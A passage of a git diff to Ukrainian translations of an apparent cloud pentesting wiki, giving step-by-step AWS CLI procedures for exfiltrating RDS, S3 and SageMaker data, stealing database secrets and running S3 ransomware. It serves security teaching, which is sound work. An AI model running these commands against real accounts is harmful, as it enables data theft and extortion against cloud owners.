загальнодоступною та скинути master password для доступу до даних поза каналами моніторингу в регіоні, який захисники можуть не контролювати. -Необхідні дозволи (мінімум): -- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому AWS Region -- `rds:DescribeDBInstanceAutomatedBackups` у цільовому AWS Region -- `rds:RestoreDBInstanceToPointInTime` у цільовому AWS Region -- `rds:ModifyDBInstance` у цільовому AWS Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (необов’язкове прибирання) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити відновлену БД) +Permissions needed (minimum): +- `rds:StartDBInstanceAutomatedBackupsReplication` у регіоні призначення +- `rds:DescribeDBInstanceAutomatedBackups` у регіоні призначення +- `rds:RestoreDBInstanceToPointInTime` у регіоні призначення +- `rds:ModifyDBInstance` у регіоні призначення +- `rds:StopDBInstanceAutomatedBackupsReplication` (опціональне очищення) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої БД) -Вплив: Утримання доступу та ексфільтрація даних шляхом відновлення копії production-даних в інший Region і зробивши її загальнодоступною з обліковими даними під контролем зловмисника. +Наслідки: утримання доступу та ексфільтрація даних шляхом відновлення копії виробничих даних в інший регіон і зроблення її публічно доступною з обліковими даними, контрольованими атакуючим.
-End-to-end CLI (replace placeholders) +End-to-end CLI (замініть заповнювачі) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs +### Увімкнути повне SQL логування через DB parameter groups та exfiltrate через RDS log APIs -Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-операції, що виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та витягніть файли логів за допомогою `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити секрети/PII/JWTs. +Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL statements, виконувані додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging і витягніть файли логів через `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору queries, які можуть містити secrets/PII/JWTs. -Потрібні дозволи (мінімум): +Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (тільки для приєднання кастомної групи параметрів, якщо інстанс використовує групу за замовчуванням) -- `rds:RebootDBInstance` (для параметрів, що вимагають перезавантаження, напр., PostgreSQL) +- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) +- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) -Кроки -1) Розвідка цілі та поточної групи параметрів +Steps +1) Recon target and current parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Переконайтесь, що приєднана власна група параметрів DB (стандартну редагувати неможливо) -- Якщо інстанс вже використовує власну групу, повторно використайте її назву на наступному кроці. -- Інакше створіть і приєднайте групу, що відповідає сімейству движка: +2) Переконайтеся, що прикріплено кастомну DB parameter group (не можна редагувати default) +- Якщо instance вже використовує кастомну групу, використайте її назву на наступному кроці. +- Інакше створіть та прикріпіть групу, що відповідає engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -196,8 +196,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Увімкнути розгорнуте SQL логування -- MySQL engines (immediate / no reboot): +3) Увімкнути докладне SQL-логування +- MySQL engines (негайно / без перезавантаження): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (вимагається перезавантаження): +- PostgreSQL рушії (вимагає перезавантаження): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Дайте робочому навантаженню працювати (або згенеруйте запити). Запити будуть записані у файли журналів engine +4) Дозвольте виконанню робочого навантаження (або згенеруйте запити). Запити будуть записані у файли журналів engine - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Знайдіть та завантажте логи (DB creds не потрібні) +5) Знайдіть і завантажте логи (не потрібні DB creds) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Аналізуйте офлайн на предмет конфіденційних даних +6) Аналізуйте офлайн на наявність чутливих даних ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Приклад доказів (редаговано): +Приклад доказів (зачернено): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Очищення -- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно: +- Повернути параметри до значень за замовчуванням та перезавантажити систему, якщо потрібно: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів застосунку через AWS APIs (без DB-облікових даних), потенційно leaking secrets, JWTs і PII. +Вплив: Post-exploitation доступ до даних шляхом захоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), потенційно leaking secrets, JWTs та PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Зловживання RDS read replicas для отримання out-of-band доступу лише для читання без втручання в облікові дані primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і за потреби виставити репліку публічно для exfiltrate даних. +Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакувальник може створити read replica з production instance, скинути master password репліки (це не змінює primary), і за бажанням зробити репліку публічною для exfiltrate data. -Необхідні дозволи (мінімум): +Потрібні права (мінімум): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо виставляється публічно) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -Вплив: Доступ лише для читання до production даних через репліку з обліковими даними, контрольованими атакуючим; менша ймовірність виявлення, оскільки primary залишається недоторканим та реплікація продовжується. +Вплив: Доступ лише для читання до production даних через репліку з обліковими даними під контролем атакувальника; менша ймовірність виявлення, оскільки primary залишається недоторканою і реплікація продовжується. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Приклад доказів (MySQL): -- Статус репліки DB: `available`, читальна реплікація: `replicating` -- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ до репліки лише для читання. +- Статус репліки DB: `available`, реплікація для читання: `replicating` +- Успішне підключення з новим паролем та `@@read_only=1`, що підтверджує доступ до репліки лише для читання. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Зловживайте RDS Blue/Green, щоб клонувати продукційну БД у безперервно репліковане, доступне лише для читання green-середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело. +Зловмисне використання RDS Blue/Green дозволяє клонувати production DB у постійно репліковане середовище green з доступом лише для читання. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, спрямований лише на джерело. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі в клоні production без модифікації production-інстансу. Корисно для прихованого витягання даних та офлайн-аналізу. +Вплив: доступ тільки для читання, але повний доступ до даних у майже реальному часі на клоні продуктивного середовища без модифікації production інстансу. Корисно для прихованого витягання даних і офлайн-аналізу. -### SQL поза каналом через RDS Data API шляхом увімкнення HTTP endpoint + скидання головного пароля +### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Зловживання Aurora дозволяє увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути головний пароль до значення, яке ви контролюєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на движках Aurora, що підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions). +Зловживання Aurora для увімкнення RDS Data API HTTP endpoint на цільовому кластері, скидання master password на значення під вашим контролем та виконання SQL через HTTPS (шлях мережі VPC не потрібен). Працює на Aurora engines, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL). Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Вплив: Обійти сегментацію мережі та ексфільтрувати дані через AWS APIs без прямого VPC підключення до DB. +Вплив: Обхід мережевої сегментації та ексфільтрація даних через AWS APIs без прямого VPC-підключення до DB.
-Повний приклад CLI (Aurora MySQL) +End-to-end CLI (Aurora MySQL example) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Примітки: -- Якщо multi-statement SQL відхиляється rds-data, робіть окремі виклики execute-statement. +- Якщо multi-statement SQL відхиляється rds-data, виконуйте окремі виклики execute-statement. - Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn. -- Переконайтеся, що двигун/версія дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False. +- Переконайтеся, що engine/version фактично підтримує Data API; інакше HttpEndpointEnabled залишиться False. -### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Здобуття облікових даних DB через RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для аутентифікації бекенду, а потім прочитайте цей секрет, щоб отримати облікові дані бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низьковитратним шляхом до DB creds. Якщо секрет використовує CMK, неправильно масштабовані дозволи KMS також можуть дозволити `kms:Decrypt`. +Зловживання конфігурацією RDS Proxy для виявлення Secrets Manager secret, що використовується для бекенд-аутентифікації, а потім читання цього секрету для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькоперешкодним шляхом до DB creds. Якщо секрет використовує CMK, неправильно вказані дозволи KMS також можуть дозволити `kms:Decrypt`. -Потрібні дозволи (мінімум): +Необхідні дозволи (мінімум): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` на вказаному SecretArn -- Необов'язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі +- Необов’язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі -Наслідок: Негайне розкриття DB username/password, налаштованих на проксі; дозволяє прямий доступ до DB або подальший латеральний рух. +Вплив: Негайне розкриття DB username/password, налаштованих на proxy; дозволяє прямий доступ до DB або подальший латеральний рух. Кроки ```bash @@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Лаб (мінімальні умови для відтворення) +Лабораторія (мінімально необхідне для відтворення) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -473,16 +473,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -Очищення (lab) +Прибирання (лабораторія) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Stealthy continuous exfiltration через Aurora zero‑ETL до Amazon Redshift (rds:CreateIntegration) +### Непомітне безперервне exfiltration через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration) -Зловживати Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, який ви контролюєте. За наявності пермісивної політики ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, зловмисник може встановити майже в режимі реального часу копію даних без DB creds, snapshots або мережевого доступу. +Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації production даних у Redshift Serverless namespace, який ви контролюєте. За наявності ліберальної політики ресурсів Redshift, що авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, attacker може встановити майже реального‑часу копію даних без DB creds, snapshots або мережевого доступу. Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora +2) Налаштуйте політику ресурсу Redshift, щоб дозволити джерело Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication) +3) Створити кластер Aurora PostgreSQL (увімкнути Data API та logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Матеріалізувати та запитувати репліковані дані в Redshift +5) Матеріалізувати та запитувати репліковані дані у Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Докази, зафіксовані під час тесту: +Докази, виявлені під час тестування: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням БД. -- Після CREATE DATABASE FROM INTEGRATION, при переліку таблиць виявлено схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob). +- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням DB. +- Після CREATE DATABASE FROM INTEGRATION, перелік таблиць виявив схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob). -Вплив: Безперервна, практично в реальному часі, ексфільтрація вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до джерельного кластера. +Вплив: Continuous near‑real‑time exfiltration вибраних таблиць Aurora PostgreSQL до Redshift Serverless, контрольованого атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до вихідного кластера. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index 55e517354..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Для отримання додаткової інформації перевірте: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Чутлива інформація - -Іноді ви зможете знайти чутливу інформацію в читабельному вигляді в бакетах. Наприклад, секрети стану terraform. - -### Півтування - -Різні платформи можуть використовувати S3 для зберігання чутливих активів.\ -Наприклад, **airflow** може зберігати **код DAGs** там, або **веб-сторінки** можуть безпосередньо подаватися з S3. Зловмисник з правами запису може **змінити код** з бакета, щоб **півтувати** на інші платформи або **взяти під контроль облікові записи**, змінюючи JS файли. - -### S3 Вимагач - -У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для будь-кого у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані. - -Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до середовища AWS. Зазвичай зловмисники націлюються на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо. - -Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але MFA delete вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і MFA delete увімкнені, зловмиснику стає важче вимагати викуп за цей конкретний бакет. - -Використовуючи API AWS, зловмисник **замінює кожен об'єкт у бакеті зашифрованою копією, використовуючи свій ключ KMS**. Це ефективно шифрує дані в бакеті, роблячи їх недоступними без ключа. - -Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть безповоротно втраченими. - -Нарешті, зловмисник може завантажити фінальний файл, зазвичай названий "ransom-note.txt", який містить інструкції для цілі про те, як відновити свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та зробити їх обізнаними про атаку-вимагач. - -**Для отримання додаткової інформації** [**перевірте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..cc43e9a07 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,37 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Чутлива інформація + +Інколи ви зможете знайти чутливу інформацію, доступну для читання в buckets. Наприклад, terraform state secrets. + +### Pivoting + +Різні платформи можуть використовувати S3 для зберігання чутливих ресурсів. Наприклад, **airflow** може зберігати там **DAGs** **code**, або **web pages** можуть безпосередньо віддаватися з S3. Атакувальник з дозволами на запис міг би **modify the code** з bucket'а, щоб **pivot** на інші платформи, або **takeover accounts**, модифікуючи JS файли. + +### S3 Ransomware + +У цьому сценарії **атакувальник створює KMS (Key Management Service) key у своєму власному AWS акаунті** або в іншому скомпрометованому акаунті. Потім він робить цей ключ доступним для будь-кого в світі, дозволяючи будь-якому AWS користувачу, ролі або акаунту шифрувати об'єкти за допомогою цього ключа. Проте ці об'єкти не можна розшифрувати. + +Атакувальник визначає цільовий **S3 bucket і отримує доступ рівня запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію bucket'а, яка робить його публічним, або через отримання атакувальником доступу до AWS середовища. Зазвичай атакувальник націлюється на buckets, що містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо. + +Щоб визначити, чи можна націлити bucket для ransomware, атакувальник перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** та чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, атакувальник може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, атакувальник може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, то атакувати цей bucket ransomware стає складніше. + +За допомогою AWS API атакувальник **замінює кожен об'єкт у bucket'і зашифрованою копією, використовуючи свій KMS ключ**. Це фактично шифрує дані в bucket'і, роблячи їх недоступними без цього ключа. + +Щоб посилити тиск, атакувальник планує видалення KMS ключа, використаного в атаці. Це дає цілі 7-денне вікно для відновлення даних, перш ніж ключ буде видалено і дані стануть безповоротно втраченими. + +Нарешті, атакувальник може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для постраждалого про те, як повернути свої файли. Цей файл завантажується без шифрування, ймовірно щоб привернути увагу цілі та повідомити її про ransomware-атаку. + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..a7499a284 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Перехоплення даних SageMaker endpoint через UpdateEndpoint DataCaptureConfig + +Зловживати керуванням SageMaker endpoint, щоб увімкнути повний захват запитів/відповідей у attacker‑controlled S3 bucket без змін у моделі або контейнері. Використовує поетапне оновлення (zero/low‑downtime rolling update) і потребує лише дозволів на управління endpoint. + +### Вимоги +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (або використати існуючий bucket у тому ж акаунті) +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: An existing InService real‑time endpoint in the same account/region + +### Кроки +1) Виявити InService endpoint і зібрати поточні production variants +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Підготуйте attacker S3 destination для captures +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Створіть новий EndpointConfig, який зберігає ті ж variants, але вмикає DataCapture у attacker bucket + +Примітка: Використовуйте явні content types, які відповідають валідації CLI. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Застосуйте нову конфігурацію за допомогою rolling update (мінімальний/відсутній час простою) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Перевірте захоплення в S3 зловмисника +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Impact +- Повна exfiltration payload-ів запитів і відповідей inference в реальному часі (та метаданих) з цільового endpoint до атакуючим контрольованого S3 bucket. +- Жодних змін до model/container image — лише зміни на рівні endpoint, що дозволяє прихований шлях викрадення даних з мінімальним впливом на операційну роботу. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Зловживання управлінням endpoint для перенаправлення асинхронних виходів inference до атакуючим контрольованого S3 bucket шляхом клонування поточного EndpointConfig та встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це exfiltrates передбачення моделі (та будь-які перетворені входи, що додає контейнер) без модифікації model/container. + +### Requirements +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: Можливість запису в атакуючим контрольований S3 bucket (через роль виконання моделі або лояльну політику bucket) +- Target: An InService endpoint де використовуються (або будуть використовуватись) асинхронні виклики + +### Steps +1) Зібрати поточні ProductionVariants з цільового endpoint +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Створіть attacker bucket (переконайтеся, що model execution role може виконувати PutObject до нього) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) Клонувати EndpointConfig та перехопити результати AsyncInference у бакет нападника +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Спровокуйте асинхронний виклик і перевірте, що об'єкти потрапляють у S3 атакуючого +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Вплив +- Перенаправляє асинхронні результати інференсу (та тіла помилок) в S3 під контролем атакуючого, що дозволяє приховано вивантажувати прогнози та потенційно чутливі вхідні/вихідні дані, які генерує контейнер, без зміни коду чи образу моделі та з мінімальним або відсутнім простоєм. + + +## SageMaker Model Registry інжекція ланцюжка постачання через CreateModelPackage(Approved) + +Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD конвеєрів автоматично розгортають Approved версії моделі на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через ліберальну політику ресурсу ModelPackageGroup. + +### Вимоги +- IAM (мінімум прав для отруєння існуючої групи): `sagemaker:CreateModelPackage` на цільовій ModelPackageGroup +- Необов'язково (щоб створити групу, якщо її не існує): `sagemaker:CreateModelPackageGroup` +- S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого) +- Ціль: Model Package Group, за яким downstream-автоматизація слідкує щодо Approved версій + +### Кроки +1) Встановити регіон і створити/знайти цільову Model 